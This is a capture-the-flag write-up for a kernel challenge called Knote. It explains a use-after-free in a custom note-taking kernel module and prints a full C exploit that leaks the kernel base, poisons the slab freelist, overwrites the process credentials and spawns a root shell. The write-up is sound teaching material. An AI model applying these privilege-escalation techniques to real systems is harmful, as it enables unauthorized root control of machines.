snakeCTF logo

Knote

PWN

1 file available


Description

I know, no one has ever thought of implementing notes in kernel-space... and it has definitely never gone wrong!

I swear, this time it will be different! Trust me, it's totally safe and production ready!

Solution

Reversing

The kernel loads a custom module, called knote, which uses unlocked_ioctl with a proper lock to allow access to its functionalities. The module uses the following structs:

typedef struct knote_t {
  char title[TITLE_MAX_SIZE];
  char *description;
  size_t desc_len;
  uid_t owner;
} knote_t;

typedef struct {
  char *title;
  char *description;
  size_t desc_len;
  uid_t owner;
} req_t;

The first is allocated on the kernel heap, the latter is used to communicate with userspace. There is no double-fetch (hopefully).

The functionalities of the module are the following:

  • adding a note
  • getting the size and owner of a note
  • getting a full note, including description
  • editing the description of a note
  • transferring a note to another user, aka changing the owner
  • removing a note

Vulnerability

The bug is hard to spot and requires having read the manual for krealloc. The edit functionality is flawed: it allows to krealloc with a size of zero, which according to the manual is equivalent to calling kfree, leading to a use-after-free vulnerability.

Exploitation

There are many possibilities for the size of the note to use. Different sizes allow overlapping different kernel structures with our note.

Here's a heavily commented and explained exploit:

#include "utils.h"
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/msg.h>
#include <sys/wait.h>
#include <unistd.h>

/*
 *     useful defines
 */

#define TITLE_MAX_SIZE (0x30)

#define ADD_NOTE 0xd00d0000
#define INFO_NOTE 0xd00d0001
#define VIEW_NOTE 0xd00d0002
#define EDIT_NOTE 0xd00d0003
#define TRANSFER_NOTE 0xd00d0004
#define REMOVE_NOTE 0xd00d0005

#define A "a\0                                              "
#define B "b\0                                              "
#define C "c\0                                              "
#define D "d\0                                              "
#define E "e\0                                              "

#define KERN_LEAK_OFF (0x2b4670)
#define NEXT_TASK_OFFSET (0x458)
#define PID_OFFSET (0x520)
#define CRED_OFFSET (0x708)
#define CRED_UID_OFF (0x4)
#define CRED_EUID_OFF (0x14)

/*
 *     structs and globals
 */

typedef struct knote_t {
  char title[TITLE_MAX_SIZE];
  char *description;
  size_t desc_len;
  uid_t owner;
} knote_t;

typedef struct {
  char *title;
  char *description;
  size_t desc_len;
  uid_t owner;
} req_t;

req_t req;
int fd;
int msqid;

/*
 *     /dev/knote utils
 */
long add(char *title, char *desc, unsigned long desc_len) {
  req.title = title;
  req.description = desc;
  req.desc_len = desc_len;
  long res = ioctl(fd, ADD_NOTE, &req);
  printf("[ADD] Res: %ld\n", res);
  return res;
}

long view(char *title, char *desc, unsigned long desc_len) {
  req.title = title;
  req.description = desc;
  req.desc_len = desc_len;
  long res = ioctl(fd, VIEW_NOTE, &req);
  printf("[VIEW] Res: %ld\n", res);
  return res;
}

long info(char *title) {
  req.title = title;
  long res = ioctl(fd, INFO_NOTE, &req);
  printf("[INFO] Res: %ld\n", res);
  return res;
}

long edit(char *title, char *desc, unsigned long desc_len) {
  req.title = title;
  req.description = desc;
  req.desc_len = desc_len;
  long res = ioctl(fd, EDIT_NOTE, &req);
  printf("[EDIT] Res: %ld\n", res);
  return res;
}

long transfer(char *title, uid_t owner) {
  req.title = title;
  req.owner = owner;
  long res = ioctl(fd, TRANSFER_NOTE, &req);
  printf("[TRANSFER] Res: %ld\n", res);
  return res;
}

long del(char *title) {
  req.title = title;
  long res = ioctl(fd, REMOVE_NOTE, &req);
  printf("[REMOVE] Res: %ld\n", res);
  return res;
}

/*
 *     arbitrary read/write primitives
 */
unsigned long arb_read(unsigned long addr) {
  char *desc = malloc(sizeof(knote_t));
  unsigned long res;

  // Fake the C note with our chosen pointers
  memset(desc, 0, sizeof(knote_t));
  strcpy(desc, C);

  *(unsigned long *)&desc[0x30] = addr; // desc ptr
  desc[0x38] = 0x48;                    // size
  *(unsigned long *)&desc[0x40] = 1000; // owner
  edit(B, desc, sizeof(knote_t));
  free(desc);

  // Get the leak by reading note C
  if (view(C, (char *)&res, sizeof(unsigned long)) != 0)
    err("view");
  return res;
}

// NOTE: this destroys the arb_read primitive
void arb_write(unsigned long addr, char *data, unsigned long sz) {
  char *desc = malloc(sizeof(knote_t));

  // Free our victim note B
  del(C);
  view(B, desc, sizeof(knote_t));
  hexdump(desc, sizeof(knote_t));

  // Overwrite the freelist pointer with an arbitrary address
  *(unsigned long *)&desc[0x30] = addr; // freelist ptr
  edit(B, desc, sizeof(knote_t));
  view(B, desc, sizeof(knote_t));
  hexdump(desc, sizeof(knote_t));

  // Now re-create note C. Due to the freelist poisoning, the
  // address returned for the description of note C will be
  // the chosen one (`addr`)
  add(C, data, sz);

  free(desc);
}

/*
 *     main
 */
int main() {
  char desc[0x20];
  fd = open("/dev/knote", O_RDONLY);
  if (fd < 0) {
    err("open");
  }

  // Create a victim note of size 0x20
  add(A, desc, 0x20);
  memset(desc, 0, sizeof(desc));
  view(A, desc, sizeof(desc));
  hexdump(desc, 0x20);

  // Edit with size zero to free the note. As we still can reference it,
  // we have a double free.
  puts("[+] trigger vuln by freeing note description");
  edit(A, desc, 0);

  // To leak the kernel base we can use seq_operations, which is defined as
  // (https://elixir.bootlin.com/linux/v6.6.6/source/include/linux/seq_file.h#L32):
  //      struct seq_operations {
  //      	void * (*start) (struct seq_file *m, loff_t *pos);
  //      	void (*stop) (struct seq_file *m, void *v);
  //      	void * (*next) (struct seq_file *m, void *v, loff_t *pos);
  //      	int (*show) (struct seq_file *m, void *v);
  //      };
  // This struct has a size of 0x20, exactly as our note
  // and will be allocated on top of our A note
  puts("[+] leak kbase using seq_operations");
  open("/proc/self/stat", O_RDONLY);

  // We can now read from A to leak some kernel addresses taken from the
  // seq_operations struct we have allocated
  memset(desc, 0, sizeof(desc));
  view(A, desc, sizeof(desc));
  hexdump(desc, 0x20);

  // To avoid corrupting the kernel heap, keep the file open and free the
  // allocated note
  puts("[+] free the note to clean UAF");
  del(A);

  unsigned long kbase = *(unsigned long *)desc - KERN_LEAK_OFF;
  printf("[+] kbase @ 0x%lx\n", kbase);

  // Create a new victim note of the same size of the knote_t struct
  puts("[+] allocate pwn note");
  char *pwndesc = malloc(sizeof(knote_t));
  memset(pwndesc, 0, sizeof(knote_t));
  add(B, pwndesc, sizeof(knote_t));

  // Trigger the use-after-free vulnerability on our victim
  puts("[+] trigger vuln again");
  edit(B, pwndesc, 0);

  // Allocate a new note on top of the freed chunk of note B
  puts("[+] allocate victim note");
  add(C, pwndesc, sizeof(knote_t));

  // The description of note B now points to note C, meaning that
  // by editing note B we can now control the pointers contained inside
  // note C to arbitrary read/write anything
  puts("[+] now b->desc == c");
  view(B, pwndesc, sizeof(knote_t));
  hexdump(pwndesc, sizeof(knote_t));

  // There are basically three ways to escalate to root:
  // 1. execute `commit_creds(prepare_kernel_cred(0))`
  // 2. overwrite modprobe_path with a controlled path
  // 3. overwrite the credentials of a controlled process with UID 0
  //
  // Of the three methods, the 1st is hard to apply here as we are on the heap
  // and the kernel does not contain many good gadgets for a stack pivot.
  //
  // The 2nd method is not allowed in this challenge as
  // CONFIG_STATIC_USERMODEHELPER is enabled, leading to a readonly
  // modprobe_path (actually, afaik, it's still writable, but it is not used by
  // the kernel apparently).
  //
  // We are left with method 3: we need to overwrite the credentials of our
  // process In order to do so, we can search the PID of our process in the task
  // struct. The task struct is a double-linked list, and each process has its
  // own task struct. Once we find our process, we can overwrite its credentials
  // with null bytes to become root!
  puts("[+] search for our task struct");
  pid_t pid = getpid();
  printf("[+] pid: %d\n", pid);

  // The base of the first task struct is fixed with respect to the kernel base
  unsigned long task = kbase + 0x1A0C900;
  for (;;) {
    // Start reading the PID of the process
    // If it is not the correct one, go to the next and retry
    pid_t task_pid = arb_read(task + PID_OFFSET);
    if (task_pid == pid) {
      printf("[+] process task @ 0x%lx\n", task);

      // Check the process credentials
      unsigned long cred = arb_read(task + CRED_OFFSET);
      printf("[+] process cred @ 0x%lx\n", cred);
      puts("[+] check current UID/EUID");
      uid_t uid = arb_read(cred + CRED_UID_OFF);
      uid_t euid = arb_read(cred + CRED_EUID_OFF);
      printf("[+] uid: %d\n[+] euid: %d\n", uid, euid);

      // We copy a piece of the task struct of our process
      // This is done as we MUST modify the ENTIRE chunk data due to how
      // edit is implemented.
      // Note that:
      //    sizeof(knote_t) -> 0x48 = 72 =>
      //    the actual size of an allocated chunk is 96
#define KNOTE_T_SLAB_SZ (96)
      puts("[+] copying the creds data");
      unsigned long new_cred[KNOTE_T_SLAB_SZ];
      for (int i = 0; i < KNOTE_T_SLAB_SZ; i += sizeof(unsigned long)) {
        new_cred[i / 8] = arb_read(cred + i);
      }

      // Overwrite the UID end EUID with zero, making us effectively root!
      // It may not be required to set both
      puts("[+] setting UID and EUID to zero");
      *(uid_t *)&(((char *)new_cred)[CRED_UID_OFF]) = 0;  // root uid
      *(gid_t *)&(((char *)new_cred)[CRED_EUID_OFF]) = 0; // root gid
      hexdump((char *)new_cred, KNOTE_T_SLAB_SZ);

      // When modifying the task struct we may mess the freelist of kmalloc-192.
      // I don't really know/remember why this happens, but an easy fix is to
      // provide some "fresh" chunks by forking our process, which allocates
      // task structs as expected.
      puts("[+] allocate and free some cred structs (kmalloc-192) to avoid "
           "breaking the freelist when doing arb_write");
      for (int i = 0; i < 10; i++) {
        pid_t p = fork();
        if (p < 0)
          err("fork");
        else if (p == 0) {
          exit(0);
        } else {
          int status;
          waitpid(p, &status, 0);
        }
      }

      // Overwrite with UID and EUID zero
      puts("[+] overwriting process cred");
      arb_write(cred, (char *)new_cred, KNOTE_T_SLAB_SZ);
      break;
    }

    // Note on this weird computation: the double linked list is NOT in the top
    // of the task struct, therefore we must read from an offset to get the next
    // task struct address. Moreover, the double-linked list does NOT point to
    // the top of the task struct, but to the double-linked list pointers of the
    // pointed task struct.
    task = arb_read(task + NEXT_TASK_OFFSET) - NEXT_TASK_OFFSET;
  }

  // Check that the exploit was successful
  if (getuid() != 0 || geteuid() != 0) {
    puts("[-] not root :(");
    exit(1);
  }

  // cleanup
  free(pwndesc);

  // Enjoy a root shell!
  puts("[+] spawning root shell");
  execl("/bin/sh", "/bin/sh", NULL);
}